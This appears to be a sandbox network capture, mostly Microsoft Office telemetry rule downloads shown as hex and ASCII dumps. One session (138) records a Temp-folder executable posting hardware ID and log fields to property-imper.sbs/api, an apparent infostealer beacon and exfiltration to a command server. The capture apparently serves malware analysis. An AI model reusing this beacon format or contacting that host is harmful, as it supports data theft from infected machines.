2024-11-24 01:14:56 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:56 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:56 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 36815d12-601e-0070-4763-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011456Z-178bfbc474b9fdhphC1NYCac0n000000053g00000000k64t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:56 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:56 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:56 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: afa98cfc-701e-003e-2a3c-3c79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011456Z-178bfbc474bbbqrhhC1NYCvw7400000005a000000000m0x0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:56 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	49924	104.21.33.116	443	7524	C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:56 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DGXSSBEVD1L4RWXVU5C User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8796 Host: property-imper.sbs
2024-11-24 01:14:56 UTC	8796	OUT	Data Raw: 2d 2d 44 47 58 53 53 42 45 56 44 31 4c 34 52 57 58 56 55 35 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 41 36 34 32 30 33 30 44 36 31 39 39 32 44 34 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 44 47 58 53 53 42 45 56 44 31 4c 34 52 57 58 56 55 35 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 44 47 58 53 53 42 45 56 44 31 4c 34 52 57 58 56 55 35 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --DGXSSBEVD1L4RWXVU5CContent-Disposition: form-data; name="hwid"5A642030D61992D4D7CBBD6DF28D3732--DGXSSBEVD1L4RWXVU5CContent-Disposition: form-data; name="pid"2--DGXSSBEVD1L4RWXVU5CContent-Disposition: form-data; name="lid"LOGS11--Li
2024-11-24 01:14:57 UTC	1019	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vvtbu151h9mo20u2a9005n1hgc; expires=Wed, 19-Mar-2025 19:01:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0e0ezlqeTpMEbLMXzg5Q%2FnWB1LGLkLcu3g9TY%2B8hqQwvQ%2BOfAi8ue4EocW0VygfoIParQMGsb%2BZS%2F36bAEFGEJaIG73R8fvY87X3B1CIzirCZ4vDxNjESb4mtWUbrCeY7afF6cs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e758b8918cd7c94-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1843&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9738&delivery_rate=1615044&cwnd=234&unsent_bytes=0&cid=3849fdaf7238e529&ts=935&x=0"
2024-11-24 01:14:57 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 01:14:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:56 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:56 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 6b6acbbe-a01e-0021-3306-3d814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011456Z-178bfbc474bscnbchC1NYCe7eg00000005dg0000000087b8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:57 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:56 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:57 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 0ac0d454-901e-0015-334f-3cb284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011457Z-15b8b599d88z9sc7hC1TEBkr4w00000003v000000000aw1t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:57 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:58 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:58 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: e5390902-901e-0015-1805-3db284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011458Z-178bfbc474bwlrhlhC1NYCy3kg00000005ag000000004g8e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:58 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:58 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:59 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:58 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: c87fa586-301e-0052-7045-3c65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011458Z-174c587ffdf89smkhC1TEB697s00000003qg00000000pgxh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 01:14:59 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:58 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:58 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: f92b14d5-201e-003c-1815-3d30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011458Z-178bfbc474bv7whqhC1NYC1fg4000000056000000000ga8g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:59 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:59 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:59 UTC	495	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:59 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 9a5503a3-d01e-008e-570e-3e387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011459Z-178bfbc474bmqmgjhC1NYCy16c00000005eg0000000004fw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-24 01:14:59 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:59 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:59 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: f390f01b-d01e-0017-588c-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011459Z-174c587ffdfb5q56hC1TEB04kg00000003h000000000rbv0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:59 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:15:00 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:15:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:15:01 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: ca47fefa-001e-0014-1746-3c5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011501Z-174c587ffdfldtt2hC1TEBwv9c00000003ng000000003f1m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
